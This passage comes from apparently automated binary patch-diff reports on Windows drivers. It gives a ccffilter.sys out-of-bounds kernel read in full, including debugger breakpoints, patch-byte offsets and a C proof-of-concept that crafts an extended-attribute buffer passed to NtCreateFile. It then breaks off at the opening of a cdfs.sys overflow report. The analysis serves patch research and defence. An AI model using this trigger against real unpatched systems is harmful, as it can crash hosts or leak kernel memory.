&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;bp ccffilter_unpatched!CCFPreCreate+0x165         ; 0x1c00078c5 — call site into vulnerable func
bp ccffilter_unpatched!CCFFilterAppInstanceEA     ; 0x1c000990c — function entry
bp ccffilter_unpatched!CCFFilterAppInstanceEA+0xeb ; 0x1c00099f7 — the buggy jb/ja branch
bp ccffilter_unpatched!CCFFilterAppInstanceEA+0xf5 ; 0x1c0009a01 — first OOB movups read
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;What to inspect&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Stop&lt;/th&gt;
&lt;th&gt;Register / memory&lt;/th&gt;
&lt;th&gt;Why&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1c00078c5&lt;/code&gt; (&lt;code&gt;CCFPreCreate+0x165&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;rcx&lt;/code&gt; → &lt;code&gt;&amp;amp;Iopb-&amp;gt;Parameters.Create.EaBuffer&lt;/code&gt;; &lt;code&gt;rdx&lt;/code&gt; → &lt;code&gt;&amp;amp;Iopb-&amp;gt;Parameters.Create.EaLength&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Confirm attacker EA chain is wired through; &lt;code&gt;dq poi(rcx)&lt;/code&gt; to dump the first EA entry.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1c000990c&lt;/code&gt; (entry)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;rcx&lt;/code&gt; = arg1 → points to EA ptr (becomes &lt;code&gt;rbx&lt;/code&gt;); &lt;code&gt;r9&lt;/code&gt; = arg4 = output GUID; &lt;code&gt;[rsp+0x28]&lt;/code&gt; = arg5 = output version&lt;/td&gt;
&lt;td&gt;Identify output sinks; &lt;code&gt;db poi(rcx) L40&lt;/code&gt; to see the crafted EA.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1c00099f7&lt;/code&gt; (the patch byte)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ax&lt;/code&gt; = &lt;code&gt;0x14&lt;/code&gt;, &lt;code&gt;dx&lt;/code&gt; = &lt;code&gt;EaValueLength&lt;/code&gt; from &lt;code&gt;[rbx+6]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Watch whether the branch is taken. Unpatched with &lt;code&gt;dx = 0x0001&lt;/code&gt;: &lt;code&gt;0x14 &amp;lt; 0x0001&lt;/code&gt; is &lt;strong&gt;false&lt;/strong&gt;, so &lt;code&gt;jb&lt;/code&gt; is &lt;strong&gt;not taken&lt;/strong&gt; → bug fires.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x1c0009a01&lt;/code&gt; (first OOB read)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;rax&lt;/code&gt; = &lt;code&gt;EaNameLength&lt;/code&gt; from &lt;code&gt;[rbx+5]&lt;/code&gt;; &lt;code&gt;rbx&lt;/code&gt; = current EA base&lt;/td&gt;
&lt;td&gt;Effective address = &lt;code&gt;rbx + rax + 9&lt;/code&gt;. Compare to the end of the pool allocation (&lt;code&gt;!pool rbx&lt;/code&gt;) to confirm how far past the buffer the read goes.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Post-execution&lt;/td&gt;
&lt;td&gt;&lt;code&gt;r14&lt;/code&gt; (output GUID), &lt;code&gt;[rsp+0x70]&lt;/code&gt; (output version ptr)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;db r14 L10&lt;/code&gt; and &lt;code&gt;dd poi(rsp+70) L1&lt;/code&gt; reveal the leaked bytes.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Key offsets (add module base)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Offset&lt;/th&gt;
&lt;th&gt;Instruction&lt;/th&gt;
&lt;th&gt;Meaning&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0xeb&lt;/code&gt; (&lt;code&gt;0x1c00099f7&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0F 82 …&lt;/code&gt; (unpatched) / &lt;code&gt;0F 87 …&lt;/code&gt; (patched)&lt;/td&gt;
&lt;td&gt;The patched byte.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x90&lt;/code&gt; (&lt;code&gt;0x1c000999c&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;movzx edx, word [rbx+6]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Loads &lt;code&gt;EaValueLength&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x9c&lt;/code&gt; (&lt;code&gt;0x1c00099a8&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;jne 0x1c00099ef&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Splits &lt;code&gt;0x10&lt;/code&gt; (GUID-only) path from &lt;code&gt;0x14&lt;/code&gt; path.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0xf5&lt;/code&gt; (&lt;code&gt;0x1c0009a01&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;movups xmm0, [rax+rbx+9]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;First OOB read (16 B).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0xff&lt;/code&gt; (&lt;code&gt;0x1c0009a0b&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;mov edx, [rax+rbx+0x19]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Second OOB read (4 B).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x194&lt;/code&gt; (&lt;code&gt;0x1c0009aa0&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;mov edi, 0xC0000053&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Error path (taken incorrectly in unpatched).&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Trigger setup (from user mode)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// Minimal PoC sketch ( SetLastError / NtCreateFile details omitted )&lt;/span&gt;
&lt;span class="k"&gt;typedef&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;_FILE_FULL_EA_INFORMATION&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ULONG&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;NextEntryOffset&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;UCHAR&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;Flags&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;UCHAR&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;EaNameLength&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;USHORT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;EaValueLength&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;CHAR&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;EaName&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// followed by EaValue&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FILE_FULL_EA_INFORMATION&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="n"&gt;UCHAR&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;38&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="n"&gt;FILE_FULL_EA_INFORMATION&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;ea&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;FILE_FULL_EA_INFORMATION&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;ea&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;NextEntryOffset&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;ea&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Flags&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;ea&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;EaNameLength&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1C&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="c1"&gt;// &amp;quot;ClusteredApplicationInstance&amp;quot;&lt;/span&gt;
&lt;span class="n"&gt;ea&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;EaValueLength&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x01&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="c1"&gt;// *** triggers bug (1 &amp;lt; 0x14, != 0x10) ***&lt;/span&gt;
&lt;span class="n"&gt;memcpy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ea&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;EaName&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;ClusteredApplicationInstance&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;28&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;ea&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;EaName&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;28&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;\0&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;ea&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;EaName&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;29&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x41&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="c1"&gt;// 1-byte EaValue&lt;/span&gt;

&lt;span class="n"&gt;UNICODE_STRING&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;RTL_CONSTANT_STRING&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;L&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;??&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;C:&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;ClusterStorage&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;Volume1&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;x&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;OBJECT_ATTRIBUTES&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;oa&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;InitializeObjectAttributes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;oa&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;OBJ_CASE_INSENSITIVE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;IO_STATUS_BLOCK&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;iosb&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;HANDLE&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;NtCreateFile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FILE_READ_DATA&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;oa&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;iosb&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="n"&gt;FILE_SHARE_READ&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="n"&gt;FILE_SHARE_WRITE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FILE_OPEN&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="c1"&gt;// &amp;lt;-- EaBuffer + EaLength&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;For the maximum-OOB variant, set &lt;code&gt;EaNameLength = 0&lt;/code&gt;, &lt;code&gt;EaName = "\0"&lt;/code&gt;, &lt;code&gt;EaValueLength = 1&lt;/code&gt;, total buffer = 10 bytes.&lt;/p&gt;
&lt;h3&gt;Expected observation&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;At &lt;code&gt;+0xeb&lt;/code&gt; with crafted input: &lt;code&gt;dx = 0x0001&lt;/code&gt;, &lt;code&gt;ax = 0x0014&lt;/code&gt;. Single-step — &lt;code&gt;jb&lt;/code&gt; is &lt;strong&gt;not taken&lt;/strong&gt;. Execution proceeds to &lt;code&gt;+0xf5&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;At &lt;code&gt;+0xf5&lt;/code&gt;: &lt;code&gt;!pool rbx&lt;/code&gt; shows the allocation; the effective address &lt;code&gt;rbx + rax + 9&lt;/code&gt; lies &lt;em&gt;beyond&lt;/em&gt; the allocation. &lt;code&gt;movups&lt;/code&gt; reads 16 bytes, then &lt;code&gt;mov edx, [rax+rbx+0x19]&lt;/code&gt; reads 4 more.&lt;/li&gt;
&lt;li&gt;If the read crosses into an unmapped page: &lt;strong&gt;BSOD&lt;/strong&gt; with &lt;code&gt;PAGE_FAULT_IN_NONPAGED_AREA&lt;/code&gt; (faulting address near &lt;code&gt;rbx + rax + 9&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;If the read succeeds: the leaked bytes are observable at &lt;code&gt;r14&lt;/code&gt; (GUID) and &lt;code&gt;[rsp+0x70]&lt;/code&gt; (version), and propagate into the create IRP's ECP list.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Struct / offset notes&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;FILE_FULL_EA_INFORMATION&lt;/code&gt; layout (offsets from EA entry base):&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Offset&lt;/th&gt;
&lt;th&gt;Size&lt;/th&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x00&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;&lt;code&gt;NextEntryOffset&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x04&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Flags&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x05&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;&lt;code&gt;EaNameLength&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x06&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;&lt;code&gt;EaValueLength&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x08&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;var&lt;/td&gt;
&lt;td&gt;&lt;code&gt;EaName&lt;/code&gt; (NUL-terminated)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x08 + EaNameLength + 1&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;var&lt;/td&gt;
&lt;td&gt;&lt;code&gt;EaValue&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The vulnerable reads reference &lt;code&gt;[rbx + EaNameLength + 9]&lt;/code&gt; (= start of &lt;code&gt;EaValue&lt;/code&gt;) and &lt;code&gt;[rbx + EaNameLength + 0x19]&lt;/code&gt; (= &lt;code&gt;EaValue + 0x10&lt;/code&gt;).&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;8. Changed Functions — Full Triage&lt;/h2&gt;
&lt;p&gt;Only one function differs between the binaries; it is security-relevant.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Function&lt;/th&gt;
&lt;th&gt;Similarity&lt;/th&gt;
&lt;th&gt;Change type&lt;/th&gt;
&lt;th&gt;Note&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;CCFFilterAppInstanceEA&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.9922&lt;/td&gt;
&lt;td&gt;Security-relevant (single-byte logic flip)&lt;/td&gt;
&lt;td&gt;Bounds check at &lt;code&gt;+0xeb&lt;/code&gt; reversed from &lt;code&gt;jb&lt;/code&gt; to &lt;code&gt;ja&lt;/code&gt;, fixing the inverted &lt;code&gt;EaValueLength&lt;/code&gt; validation that allowed a 20-byte OOB read on &lt;code&gt;ClusteredApplicationInstance&lt;/code&gt; EA values smaller than 0x14 bytes.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;No other functions changed. No cosmetic-only / register-allocation noise.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;9. Unmatched Functions&lt;/h2&gt;
&lt;p&gt;None. &lt;code&gt;unmatched_unpatched = 0&lt;/code&gt;, &lt;code&gt;unmatched_patched = 0&lt;/code&gt;. No sanitizers were removed and no new mitigation helpers were added; the patch is purely the conditional-branch inversion inside &lt;code&gt;CCFFilterAppInstanceEA&lt;/code&gt;.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;10. Confidence &amp;amp; Caveats&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Confidence: High.&lt;/strong&gt; The diff is a single byte (&lt;code&gt;0F 82&lt;/code&gt; → &lt;code&gt;0F 87&lt;/code&gt;), the semantic effect on the surrounding &lt;code&gt;cmp ax, dx&lt;/code&gt; is unambiguous, and the OOB reads immediately downstream are confirmed by the assembly listing.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Assumptions:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;strncmp&lt;/code&gt; import at &lt;code&gt;[rel 0x1c00060e0]&lt;/code&gt; (resolved to &lt;code&gt;ntoskrnl!strncmp&lt;/code&gt;) follows the C standard (&lt;code&gt;n = 0&lt;/code&gt; returns 0).&lt;/li&gt;
&lt;li&gt;The call chain &lt;code&gt;CCFPreCreate → CCFFilterAppInstanceEA&lt;/code&gt; is a direct call at &lt;code&gt;0x1c00078c5&lt;/code&gt;; the argument setup (&lt;code&gt;&amp;amp;EaBuffer&lt;/code&gt; from &lt;code&gt;Iopb+0x38&lt;/code&gt;, &lt;code&gt;&amp;amp;EaLength&lt;/code&gt; from &lt;code&gt;Iopb+0x30&lt;/code&gt;, &lt;code&gt;&amp;amp;GuidOut&lt;/code&gt; = local, version/flag outputs) is visible at the call site.&lt;/li&gt;
&lt;li&gt;Addresses are stated as static RVAs/offsets (e.g. &lt;code&gt;0x1c00099f7&lt;/code&gt;); at runtime, ASLR rebases &lt;code&gt;ccffilter.sys&lt;/code&gt;. Resolve the base first via &lt;code&gt;lm ccffilter&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Manual verification before PoC:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Confirm &lt;code&gt;ccffilter.sys&lt;/code&gt; is loaded and attached to a CSV volume on the target system.&lt;/li&gt;
&lt;li&gt;Disassemble &lt;code&gt;0x1c00099f7&lt;/code&gt; to verify the opcode is &lt;code&gt;0F 82&lt;/code&gt; (unpatched) vs &lt;code&gt;0F 87&lt;/code&gt; (patched).&lt;/li&gt;
&lt;li&gt;Verify the EA-matching &lt;code&gt;strncmp&lt;/code&gt; semantics with a &lt;code&gt;EaNameLength = 0&lt;/code&gt; test case.&lt;/li&gt;
&lt;li&gt;Validate pool layout (&lt;code&gt;!pool&lt;/code&gt;, &lt;code&gt;!poolused&lt;/code&gt;) to predict whether the OOB read faults or discloses data.&lt;/li&gt;
&lt;li&gt;If pursuing the disclosure primitive, hook &lt;code&gt;FltAllocateExtraCreateParameter&lt;/code&gt; (&lt;code&gt;0x1c0007ac2&lt;/code&gt;) / &lt;code&gt;CCFAddEcpToCreate&lt;/code&gt; (&lt;code&gt;0x1c0007baa&lt;/code&gt;) to capture the leaked bytes from the ECP.&lt;/li&gt;
&lt;/ul&gt;</content><category term="Corpus"/></entry><entry><title>cdfs.sys — integer overflow leading to kernel pool buffer overflow (CWE-190, CWE-122) in CdAddAllocationFromDirent fixed</title><link href="https://byteray-ai.github.io/drift-corpus/item/cdfs_a1c2b5c8-cdfs-report-20260625-205747.html" rel="alternate"/><published>2026-06-25T00:00:00-07:00</published><updated>2026-06-25T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-06-25:/drift-corpus/item/cdfs_a1c2b5c8-cdfs-report-20260625-205747.html</id><summary type="html">&lt;p&gt;KB5073723&lt;/p&gt;</summary><content type="html">&lt;h2&gt;Overview&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Unpatched Binary:&lt;/strong&gt; &lt;code&gt;cdfs_unpatched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Patched Binary:&lt;/strong&gt; &lt;code&gt;cdfs_patched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Overall Similarity Score:&lt;/strong&gt; 0.9924&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Diff Statistics:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Matched Functions: 210&lt;/li&gt;
&lt;li&gt;Changed Functions: 3&lt;/li&gt;
&lt;li&gt;Identical Functions: 207&lt;/li&gt;
&lt;li&gt;Unmatched (Unpatched): 0&lt;/li&gt;
&lt;li&gt;Unmatched (Patched): 0&lt;/li&gt;
